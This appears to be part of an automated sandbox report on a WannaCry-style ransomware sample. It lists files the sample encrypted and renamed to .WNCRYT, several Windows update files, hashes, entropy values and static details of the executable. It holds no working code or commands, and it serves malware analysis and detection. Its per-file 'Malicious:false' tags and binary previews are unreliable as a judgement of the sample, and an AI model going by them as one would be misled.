                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8404851799642925
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkn189iqg4NiJUHkXWTewtg1gk0PgTN5wPtQ2RvU2VmxwsrHOyg0gnp5yGUEWfx3:bk189ir4YakXABk0Pj9pU2xs7pzkp5yn
                                                                                                                                                                              MD5:4D44371D2C7EA72CD885F4DC99BF69FC
                                                                                                                                                                              SHA1:1F33CDBAD6551F6A8152E1E38A1989F2F645F01B
                                                                                                                                                                              SHA-256:69C1107C23BC2F22C9BC0B67C359A42A3AC4D9615A4719BE100E447D9757EDAA
                                                                                                                                                                              SHA-512:708D4836A3C8AA22D6219FFAF295E9F33F6D6BF8D16F96032C58E95636492F356B8613EC1F41E0C65926D5B01F07F676A22CA0C9ABEB06ED29D7DD9DCC6A176D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....,.h...|.......6....G...)...H..W.`?.8..3I..B,1../+J.@..?[a1W?p..auRen.(-..r7o20...x.....8}.A.....8._....d.%.E.vD%D9sL4...<.p..k-.'.......U%....Tm.A9..]..u...I.Oe-sA&,......rd.m=...%@q:}'.1..]O....B..).72...1.b....(...A}].SOc....F..i.,......>P..............#.LQ.j.S......j.c.o.8}.Oj..z _Gc..2.g.Jd.-.K....H.&.gz....{.(-.2..._8B.F.J...tc..}0.!..Dr..R.xjWh...}....Oau...].L...,.....O.'..Xx*_.i@-@7.1&d.....8...\......3.0.l....j.'..C..}...Y.<V7%...j......8yhG....3...........U.....j..X.#....?....av.N.E.'.<......$..38.vv....|qn.45J....SVm3....3^.f..W...A..a~....Ro..R.:....Nz&....fa.....\}........A...`_Q?.v.u.....x'c..1.....u>F?...D..u...=.N..].. y..d.;.....*:.<...o..n..t.......(..)bAd.Q}..^..Xi#.....8.......H2`.....r.1..5+..4d.....s|.Jn..@...fw....m.H...I_.X..0[J\.../..(.\..?atg`.#l.&....~..:s.ob....Gt.._X.Y.b.42..^.D.....;....q.b.W. ..z#..J...u...W....7.z..%C..F.vF.....t....DkN...e.,......7&....DO.W..M.....E.8....E......!....~GfIn<.

                                                                                                                                                                              C:\Users\user\Downloads\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.852962179244053
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bksPnEIsKuhB5aCiZ1fpuDAAvBxW/5zF31O7n8XGszpeUgw:bksf3sKu9viZ1hWh5xcFg8boUH
                                                                                                                                                                              MD5:0418CEADB20F1686A63A5F5BDF89E63F
                                                                                                                                                                              SHA1:8094D7223D2C1D45CAEE73120C0F0965676087EF
                                                                                                                                                                              SHA-256:50CE0C5F88D7063C086D2C775470359BB22CC26F705D505DA2C5E6BE7FA8C9EB
                                                                                                                                                                              SHA-512:BB74C3426397CEB67F99A10C388C0B3CB19873BEB6157068BD57C66509899258397BC26B19F143BF30C5007E3B223B58457D56D6ECF44474EF721040B7E53FED
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......g&M.;.m..*A...5.K.?.F..^...;.R...3g...A.fk. ..wuh..u......BVa....D...>Mj....jSF.`n..y:.....M....Ev...)7..W...zC.5)..i.j)Pb?.{.._y...oo..(2.......-j.2B..+. .V.C4.(.O...N...k.H{"....,u.`UO...../..G.L............2.@.QQ..O4..1@.....=.......;C.(..b.............R....ZWO8`...od..ov....7....K.R..Lq...W$...4..'o.V.+^..:..f."..^....B...n.I...#WV...Ka".9O..a.&....{.kv./..T0.{.........t3..*..Qw.F.p-.k.8L....l...4....DOW..R.#.1....{..H..+PQ..)./st...=.x.:Xy..)...Oy.C.^.m.1a.......y...l......)Z.{...3...x.9.l].......8m.8...$.....Z......N.....o.M.$N3......7e..N..FGL.G.............1....PQ.G./..U..G%....l.....!._|q....V.F...Z..8.3.(.y.<7.3...!.m.4..T..%..I.K.......$....F...KNY>...6....e8.s(.9....%#...}...C.x3.u..FwL".\.........,.g [...X%.^.....M.iqT...j|.Xw....\jyy..G.....T...V"^..,. .5_.....-...u}..'6.x...|.(u...._|.9KD...=..^....=}^.Q.K6.8..P...I..y...._..(....(.|.`..b.`..L....u..;C.r...k..R..@.....F....6.........5^....5..#...c.[.......~..W8.

                                                                                                                                                                              C:\Users\user\Downloads\NYMMPCEIMA.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.866127908951453
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkRlEnHx3FgzitFO8cZYvXqCd2Wg/cfZZDA5bIK4xT15ky126PafdC:bkR8H3gmapYvhUWg/ckIHxZ2i2/1C
                                                                                                                                                                              MD5:A9287FAD1998EA389B9DA2FDA56DB06E
                                                                                                                                                                              SHA1:CC819DF7054F8BDA265E1662EDB05CC31920AD43
                                                                                                                                                                              SHA-256:6FF8B8B09AAC970C3417F8E84CB0E8DBE1FE145590D41C7EA52C93CD0EDA1C5E
                                                                                                                                                                              SHA-512:14F4A168BF39077F7EEB6BE93F8B42344B750E3DE822BAAF25233DE6B08D7070857D25601C089921DC2884075720EE2C996DC14D5EE879E3339CF9AD9DF4FCED
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....D..D...ia.n...;>.....c.....-....Uh/wy..0B.jM..y{b....W....MZ....".m~.....9M..8|.......f.y...qP..5.5...q....L...._..w.D.:b...8..u.<.8/.I....42........Cr....(AT.2..fQ..?.F.A#..u..H..\2B..(.!...zw....c...`Hp.......u....dt\..L. .,.ZL.n&.d..[............cZ..6..\...^.}.N{...F.....]!.8 cJ:.........g......K(..,Q.$N..hi..F.E..$..j.xp\..k;..T.gli7...Fl5."....1N.x.z+..*...9..ybI*.+is..@'.........qD.E.f.ucD.T.%.%.1v..N#.&@...:Q.....w/.........w..RP.....Bv.e'M..}p+.CAf...]..0..f.R...D.R.Mu[.A..|d..mx.t.a....4..(..snH.|...{mK....c..~.{.....~..l.....y..^........m..1.e......[.yV+...5f.e^KE......U..R-M..I/.>.)z3.K......f$:.......u.qD.4.2..G.Al.......v.I.>[o....l.Zq=#5.3.Y/%..n.......S/%nj.m.._9.q.. )X.%.......G...bP.I.a..T.FgZY.....h..j.-.@.......V......aA>.wy......3.......d4...t..H....;.n.n...GOmzt...<..9.....&...`!..,.O..j...U.*/...~.......e ...C.."...C..R.!..{.S..M"...Y.7...K.9.x6h.6h.W..:f..b?Rb./;.....**Q5(.......^%2|...b....

                                                                                                                                                                              C:\Users\user\Downloads\PALRGUCVEH.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8619972205575
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkIcJB5gMqBgqFxUgBDDX+b3HPkM4Op7vVq+7SPSlgZxG/G4Dvlf1q2MKWGwouvZ:bkhJ0MggqLXa38M42VqMgZUh5s2BWzoC
                                                                                                                                                                              MD5:79B1D5DD6DA0F4A93456ABC3D9F737A5
                                                                                                                                                                              SHA1:A790E72C40BB0D7FE43F20F491BA5BD96AEC132E
                                                                                                                                                                              SHA-256:3F36980BF35ACBDD99617CBFA6C50B231133267C3D23FD4C9E42AA644CF903FD
                                                                                                                                                                              SHA-512:97E7755A4DD153F54F72907DB711ADE20F7F9260D02605FB94780325D6C50970C2A1B516FA2FD3B8D44227D835DB4B887A517B5AF237EEE18B9C27B94A287823
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........\.V.<L\..O.6...aAyQ.;.....2/.".*...q.r\&..b.b3..D4...>w{.p........h^)s.X......i.a,..T..{}.p.HIn.W0]..>@...y.0.j.y=...aP..`k?dt.[..Z........8...H......i]e.`.YH.....;2.u..6|.D.IA?....R.....~......G"....:P.4G.....oUR.b........%......J...`[..............$....O..zV,F/....?+.A.I...nL.\.#..!..3..Ue......fA..s...H!..n..ZU.. ...g...Vy.4.".BrB;&U-.@..g......ai...C"m..a}...#hL=w.z...W..B.r......|;....._%..v......4.Z.......,.!\..?..o..9..4.....U2....m3...;.b....i...~.g...,U.;.............|....[..h....0......Dt$M.S.H..7w........'....d......y....../ p.KL}P.i.I\.....2.Q..Z.'......E.4Z..3K.v..NrKw.WY.`...3....3s....2).>....O...K...$..L.......5hJ1l...dV..!.nw.....Ld].q.e...L7q.UW...y..[............m.X.....b.Ku....J\Z...,.7..;.Y....... ...<l^.hL..K.S..R.....&.p..n.......*.9..Y%...0..w.O..n!.I...kq../+y....Er.J...\.....n.T#].j...z..Q.vW..d..._.O.,....T...z...F4...f=K.K...!..n.Q..*.....a.ZD...z.3.....}dfS...\.5Yk..-D..0.g....:..._.

                                                                                                                                                                              C:\Users\user\Downloads\PALRGUCVEH.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.841507618468726
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkd1OTr3WOL42ZdQSx1udcYg2cYSMcjJtb5m3SFtbPXKsPCT3PBy1kpsonGIhzzL:bkdW3WOlQUnx//b0O9XKBYqaozzzL
                                                                                                                                                                              MD5:BE894D526E90F29DC4F374F6D2521998
                                                                                                                                                                              SHA1:249ADB16A96477A0F70E78165EBE21F0456A5246
                                                                                                                                                                              SHA-256:7FD8DDDA140CE60A6A541F8A7A3B763915A06694E3E81BC203F90A02FE9A76C9
                                                                                                                                                                              SHA-512:9DBFF8E4D981AF2FC90DBA516D9BAF9938629D68FE920159DB775EEFCDA255E7A198A78D3391764B4A129994E1C4C5D689ABAC3B64001277B4E5483B1FAC78E5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......D../.....d.Q0d.k.....hS.....rD...7.j^r..D,)W..U.c....B........t.'.K.;.w.T..N?B(..~...i.x....}.g..y.^Cx.......r.Fa../.........FZM3.....[............*M.$......#..+8......6.T.n.[.e..<.K).I.T.;?W\;_1u..G7....Rl-...........K.P.YH[..........o..@..............Vt...Y....sgm+..@..|....r..l..j!...~.iW...dB.....k.|..c . ..k...ZA.IKL.y8.!..*..D..(;...&.G5,.n../...f.....79.(..d...i......*:.@kG..,v..bS.;..[....-_..K..R..W=...\.1`.....Pm ,.s;@.m..W.2n.Wp..;...@..I...........$_..+.kX_. .0.C...:o....."A..QQ.w...~T..Pk..Tf$h.5..2...K*s.A..i.........!l`.S.....2.K=.1x. .&/................a9.|......g.z............>X.s.....%..U....+...;....=...i..T,.;D.;23..3 K.....1w........B3...z....m.sx.5..ACd..Oq.+..7C_..K.`.Z....bf.p....iQc<....&..h...].......l.&....?...r....e....s.n....("&...3..X..n.=7.....u.........|F....Vc...,.)6d.U...x..5.}....K!...ae0....h.....:.M..2+.*F.h.VGy...............+....tP..4...h../. ......Qq^..SD..Q+..1...4M..b.9"

                                                                                                                                                                              C:\Users\user\Downloads\TQDFJHPUIU.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854825327543121
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkuklpzTDWWqXX2tq5mR8ScDWdoE8UiL3TEmA4MZbNC+mclq4iYinK:bkuazfWCt4muHmxELj9A4MZEdgqbYH
                                                                                                                                                                              MD5:D5AE4E7C1487B6293B12CF038DC14846
                                                                                                                                                                              SHA1:203BF428C86DE466433662EC9833E8DDC1D6E7E0
                                                                                                                                                                              SHA-256:2630F6051C659095FE8D60FF29F51A37BA5E4CFD25DAB202B8385F7F6C2BE4BF
                                                                                                                                                                              SHA-512:9AA7EAE9523C31683B01F4745EB3B46E77074F804512B842B1249ED42ADD8AE25201735479C5C51F466E33514211DD51C0CA4F6878ABAE21A692E2A4E03D7AB5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Jd.&plXe..Q...z...D.SL=.......7.......9....;...Ex....$....q.C...;Y(...`..\-t..........7...t..bhQ*.>P.ZI..5.-4.......hw..O.>...y-.j.(M^..I.x. .&..Fw.f...E..i.i.......T.."......[....[....^m.?..1Rx2.....^..|..A.].]...l....@.?}...yDR!n;../H_...I.D..............3...u\.F.E,.w.:Eo....".&..N..z....y...[....>3?...\=r...I...f.h..g..(...+V.B..:.J8e@....k....R]..d...9..Ob.....j'NW....sT.......O...!.....p:|..'.`....0b.Sp.g*.....l..'...i...P.?.y..@q.*t.<<.1....*c.....|..R..-..=.i...S....ix.6.;..{OJ.(....i.BDY...s......yVV..<.....6.....2.........z.r0.=.<....-.1l.v...>.....7.j^.].....Y..r....M.2....<UF..t.q.]_."*B6..!.+..`K..B..yj.%..x. .=:...N;u..:4..-...(...B....Bzq.W....+.n.?$.J...w-.lc.u..>t.....%.".Qxp.....W+...s...%...-...p.8.]..,.C.{..3...Q.-.N.N7G`.2h......dx7+.3.......dC..L...cy3Y.6..W....Az/l.....|{.e.]J..l... .2.r..`>ug+*zB..,..p..t..O....-P.,........#k..$..... ..a;zV...A:.bY#......(]..".^I...4.......j...~.vI..,.%~.0....H.U..

                                                                                                                                                                              C:\Users\user\Downloads\TQDFJHPUIU.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.839042997083576
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk284vtDjy+a3V+H9yrHxLDx9SmKLOFKZnfa2isBU6ChdF/0AeSEcRqaE:bk2rdy+K+Ox6mpFKhC2isBIhdFMAJE0E
                                                                                                                                                                              MD5:F4ABFAA2C2351F5E703237C63158EEF7
                                                                                                                                                                              SHA1:6807CED30B941987D3CFBB7A79896C119BD52EBA
                                                                                                                                                                              SHA-256:2F8913BF086E976FDC10C28241EF88BC81A14F621253215DB89ABF87974AA9BF
                                                                                                                                                                              SHA-512:C4EE538E76E60B6CD8D929E8CD035F16ECC58B8CCD6C074366158717BF369A3763A41F8C5F0D1E02233292F8CA7A29D5A7C88B107D343B2C6B762563419E798E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...... ...e./K..?..>.|L;.....+.G..YK..j....X.....XLP..........k1..,&..u...XQq..'.,.:[....(..S....j_.U..0.....).%Oe.h...:V......>...q-......c...2........S{j... .8bz..&v._...z....y,...icZ......~}...PP....d.BA......#../.Z#6..JY\.r..|...6m,...%..g.P..P.............J.\..+1.UH1e...0.]G..S..R.5.f.._4{Kq~l..H.....V.`M\D.2)..+#8...g.`=...$..Z.+.o.\?S..'P.KT:Z.._.k.l.._....ssw.$L:]..g%.K.mp..G..h.8.*.RL.j[o.."r..,..C[.....%....i.U...4B.PU......r...Tqj8z.....3..l..-..wTS.-.=.~ ...G......d.......Z..r...p.^...).c..z..-J..y...07x./..N....!.Vi.z_.x..).........r.VI...AK....H..7(s.p.....E....l......J..<......O.......@..7.mlF..f"..*..P.i.\.mbA1...?~...l..Gd..V....u..s..=..<&.G......_@ar$5o4`.=.^.q(...n..y<..)..@ .y.8....k9.....P.{.A.=L.<...Ej06*.5.._...X..wg..0.!FFt].@dO..$lI.v....]I....Ri}6p...X....PF.<>...A[...}Qu.A...-.?...>XZ...l.e.R..#-...waI.Fv....*.....p.L.B.......j.OH..!....a..J.`s..d.l^.I..'.(g..J$O/...>.;..G.8<./Sql.......W..3...%.r....G...i

                                                                                                                                                                              C:\Windows\Logs\SIH\SIH.20240821.091937.102.1.etl

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\System32\SIHClient.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):12288
                                                                                                                                                                              Entropy (8bit):3.1720130280075645
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:W4rkVoFz4E/KRCm0B6yZ0hjbeVVMqwq6yx:WdoFz4E/KRCm0B6O0hjiVVMqwq6yx
                                                                                                                                                                              MD5:67CE1D0877D38A41722A1E4FBD5FBF9E
                                                                                                                                                                              SHA1:48CC49B063E835A6B3764D72BF246F78625E9F0E
                                                                                                                                                                              SHA-256:2308559439B4C3D36822A6BDEF1DFEFCAEBB3AC0271557C05CEAC9F49C6A1E25
                                                                                                                                                                              SHA-512:CF7B5C2E002279AADDD215691FF1BCA9C66B28EA099DD33792F279568F8F2BFEA3179E99EAACD5BA880E3873AFE5671BBF28D892B37F8FD700355844B06A220B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:....P...P.......................................P...!...................................Y.GL....................eJ.............Zb....... ......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1................................................................Y............`.............S.I.H._.t.r.a.c.e._.l.o.g...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.S.I.H.\.S.I.H...2.0.2.4.0.8.2.1...0.9.1.9.3.7...1.0.2...1...e.t.l.......P.P.........Y.GL....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Windows\SoftwareDistribution\SLS\522D76A4-93E1-47F8-B8CE-07C937AD1A1E\TMPEB70.tmp

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\System32\SIHClient.exe
                                                                                                                                                                              File Type:Microsoft Cabinet archive data, single, 462 bytes, 1 file, at 0x44 +Utf "environment.xml", flags 0x4, ID 31944, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):17126
                                                                                                                                                                              Entropy (8bit):7.3117215578334935
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:D5X8WyNHDHFzqDHt8AxL5TKG+tJSdqnajapCNjFZYECUqY7oX9qhnJSdqnaja2Sl:qDlsHq4ThPdlmY9CUiqOdlm2W
                                                                                                                                                                              MD5:1B6460EE0273E97C251F7A67F49ACDB4
                                                                                                                                                                              SHA1:4A3FDFBB1865C3DAED996BDB5C634AA5164ABBB8
                                                                                                                                                                              SHA-256:3158032BAC1A6D278CCC2B7D91E2FBC9F01BEABF9C75D500A7F161E69F2C5F4A
                                                                                                                                                                              SHA-512:3D256D8AC917C6733BAB7CC4537A17D37810EFD690BCA0FA361CF44583476121C9BCCCD9C53994AE05E9F9DFF94FFAD1BB30C0F7AFF6DF68F73411703E3DF88A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MSCF............D................|...............A..........d.......................environment.xml.....b...CK..ao.0...J...&.q...-..;+.6+-i.......7.....=....g.P.RQ.#..#...QQ..p.kk..qX..)...T.....zL#<.4......\k..f..,.Q...`..K7.hP..".E.53.V.DW.X).z.=`.COO 8..8.......!$.P!`00....E.m..l .)".J.vC..J..&...5.5(.a..!..MIM...*......z.;......t.<.o..|CR.3>..n.;8dX....:....N.....U.......J.I(vT..3...N....$.._^.A<....&=._(N....m.u.1}.....Ax.b8....q~.i..0.A...*.H........A.0.@....1.0...`.H.e......0....+.....7......0..0V..+.....7....H.......$f.....`..41200..+.....7...1". ...,..gK.........(...._`Oa..;%.010...`.H.e....... K...,.%@.b./.a...Q.:..E.7....V~....0...0..........3....!.G~&.9......0...*.H........0~1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1(0&..U....Microsoft Update Signing CA 2.20...190502214449Z..200502214449Z0o1.0...U....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft Update0.."0...*

                                                                                                                                                                              C:\Windows\SoftwareDistribution\SLS\522D76A4-93E1-47F8-B8CE-07C937AD1A1E\sls.cab

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\System32\SIHClient.exe
                                                                                                                                                                              File Type:Microsoft Cabinet archive data, single, 7826 bytes, 1 file, at 0x44 +Utf "environment.cab", flags 0x4, ID 53283, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24490
                                                                                                                                                                              Entropy (8bit):7.629144636744632
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:iarwQcY8StpA7IQ6GCq30XPSIleI7lzCuqvfiSIleIx:iartHA7PCFP66Tqvfi6c
                                                                                                                                                                              MD5:ACD24F781C0C8F48A0BD86A0E9F2A154
                                                                                                                                                                              SHA1:93B2F4FBF96D15BE0766181AFACDB9FD9DD1B323
                                                                                                                                                                              SHA-256:5C0A296B3574D170D69C90B092611646FE8991B8D103D412499DBE7BFDCCCC49
                                                                                                                                                                              SHA-512:7B1D821CF1210947344FCF0F9C4927B42271669015DEA1C179B2BEAD9025941138C139C22C068CBD7219B853C80FA01A04E26790D8D76A38FB8BEBE20E0A2A4A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MSCF............D...............#................A..........d........B..............environment.cab.x.\&..BCK.\.T...N.....;LB.JW.. .w!....$*...U....."........ (.. E..........w...e.Jf.3gN.{...{V.M4.!.....hn. p(... .a...f..f..j.....Kh5..l.DB\}.=.0.>..X.....z..,'..LC/>....h.>.>.........,~mVI.....'EGD]^..\{....Q....f...4.F.....q..FF.1~...Q,.."g.qq.......}.....g%Zz.;m.9..z../2Jl.p8wGO......-V....FM......y*.....Hy.xy......N.r;.@uV........Xa...b].`..F...y.Wd.e.8.[Z.s7].....=B.$...'.|.-.sC....a_(..$..i.C.T.F}...]...m.R,y.1...'..j3.....ir..B..)sR.G.*..`-=.w....m..2y.....*o...\{..C.4.:ZM..wL-$.I.x:?.!.....:..W.%&.....J.%.....~....E..T.d.Q{..p..J..pY...P../.."rp....`...#w.....'.|n%Dy,.....i....."..x.....b._..\_.^.XOo..*:.&a.`..qA.?.@..t.R/...X3.nF.&........1Z.r.S...9x........?..aP..A...f..k:..\....L...t....Q...1..A..33A1.t..)...c....;......$.$..>._....A.!g`..t...b.H.L..&.....!......v~.n...uE.x...."5.h.4..B.R.d.4.%--.`.B..."..[....l......x(..5......@.zr....

                                                                                                                                                                              C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMPCB80.tmp

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\System32\SIHClient.exe
                                                                                                                                                                              File Type:Microsoft Cabinet archive data, single, 858 bytes, 1 file, at 0x44 +Utf "environment.xml", flags 0x4, ID 12183, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):19826
                                                                                                                                                                              Entropy (8bit):7.454351722487538
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:3j+naF6zsHqnltHNsAR9zCfsOCUPTNbZR9zOzD8K:z1F6JLts89zIdrFT9zwoK
                                                                                                                                                                              MD5:455385A0D5098033A4C17F7B85593E6A
                                                                                                                                                                              SHA1:E94CC93C84E9A3A99CAD3C2BD01BFD8829A3BCD6
                                                                                                                                                                              SHA-256:2798430E34DF443265228B6F510FC0CFAC333100194289ED0488D1D62C5367A7
                                                                                                                                                                              SHA-512:104FA2DAD10520D46EB537786868515683752665757824068383DC4B9C03121B79D9F519D8842878DB02C9630D1DFE2BBC6E4D7B08AFC820E813C250B735621A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MSCF....Z.......D................/..........Z....J..........d.......................environment.xml........CK....8.....w..=.9%T`.eu:.jn.E.8......m_.o?...5.K.{.3X3....^.{i..b......{.+.....y:..KW;;\..n.K=.]k..{.=..3......D$.&IQH.$-..8.r.{..HP.........g....^..~......e.f2^..N.`.B..o.t....z..3..[#..{S.m..w....<M...j..6.k.K.....~.SP.mx..;N.5..~\.[.!gP...9r@"82"%.B%..<2.c....vO..hB.Fi....{...;.}..f|..g.7..6..].7B..O..#d..]Ls.k..Le...2.*..&I.Q.,....0.\.-.#..L%.Z.G..K.tU.n...J..TM....4....~...:..2.X..p.d....&.Bj.P(.."..).s.d....W.=n8...n...rr..O._.yu...R..$....[...=H"K<.`.e...d.1.3.gk....M..<R......%1BX.[......X.....q......:...3..w....QN7. .qF..A......Q.p...*G...JtL...8sr.s.eQ.zD.u...s.....tjj.G.....Fo...f`Bb<.]k..e.b..,.....*.1.:-....K.......M..;....(,.W.V(^_.....9.,`|...9...>..R...2|.|5.r....n.y>wwU..5...0.J...*.H........J.0.I....1.0...`.H.e......0....+.....7......0..0V..+.....7....H.......$f.....`..41200..+.....7...1". ...>^..~a..e.D.V.C...

                                                                                                                                                                              C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\sls.cab

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\System32\SIHClient.exe
                                                                                                                                                                              File Type:Microsoft Cabinet archive data, single, 11149 bytes, 1 file, at 0x44 +Utf "environment.cab", flags 0x4, ID 18779, number 1, extra bytes 20 in head, 1 datablock, 0x1 compression
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):30005
                                                                                                                                                                              Entropy (8bit):7.7369400192915085
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:768:ouCAyCeQ8fkZdfTGo/its89z8gjP69zA4:Aqf56z8HzT
                                                                                                                                                                              MD5:4D7FE667BCB647FE9F2DA6FC8B95BDAE
                                                                                                                                                                              SHA1:B4B20C75C9AC2AD00D131E387BCB839F6FAAABCA
                                                                                                                                                                              SHA-256:BE273EA75322249FBF58C9CAD3C8DA5A70811837EF9064733E4F5FF1969D4078
                                                                                                                                                                              SHA-512:DDB8569A5A5F9AD3CCB990B0A723B64CEE4D49FA6515A8E5C029C1B9E2801F59259A0FC401E27372C133952E4C4840521419EF75895260FA22DFF91E0BE09C02
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MSCF.....+......D...............[I...........+...I..........d.......rM..............environment.cab...Q.!+rMCK.|.XT....CI7.....AR..$..C$D....RA:....T..........o...g...>.....s....z...>..<...J.R.A......%}..... 0............\...e.z...@..{..,./.:9:X8.s^q...>.(]...I)....'..v@....!.(.i.n.!.g.8\/.+X3.E.~.pi...Q...B...."Oj..~.:....M....uB.}..v.WR........tDD......D7..j..`..5..E.2.z..C....4.s....r..Y.:.|.mtg...S..b._.....!.~Kn..E.=...x.N..e.)....xz...p..h.;..xR'...U.}........nK.+.Y........p..r _.;?.m}$..*%&...8. 7..T....,7..F...e...kI.y...q....".W.W..[..gZQ.....W.$k.T"...N.*...5.R...,+...u.~VO...R-......H7..9........].K....]....tS~*.LSi....T....3+........k......i.J.y...,.Y|.N.t.LX.....zu..8......S*7..{y.m.....Ob.....^.S8Kn.i.._.c~.x.ce.A...t........S.......i1......V..S]H....$..J....E..j...4...o.$..).....;.n<.b.}.(.J.]...Q..u,.-.Bm.[z.j..-i.."...._v.......N..+...g..v..../...;G.Yw....0..u...z....J..K.E..s&..u.h3.]J.G............Z....=.N.X..

                                                                                                                                                                              Static File Info

                                                                                                                                                                              General

                                                                                                                                                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Entropy (8bit):7.995470941164686
                                                                                                                                                                              TrID:
                                                                                                                                                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                              • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                              File name:f_000112
                                                                                                                                                                              File size:3'514'368 bytes
                                                                                                                                                                              MD5:84c82835a5d21bbcf75a61706d8ab549
                                                                                                                                                                              SHA1:5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
                                                                                                                                                                              SHA256:ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
                                                                                                                                                                              SHA512:90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
                                                                                                                                                                              SSDEEP:98304:QqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2g3x:QqPe1Cxcxk3ZAEUadzR8yc4gB
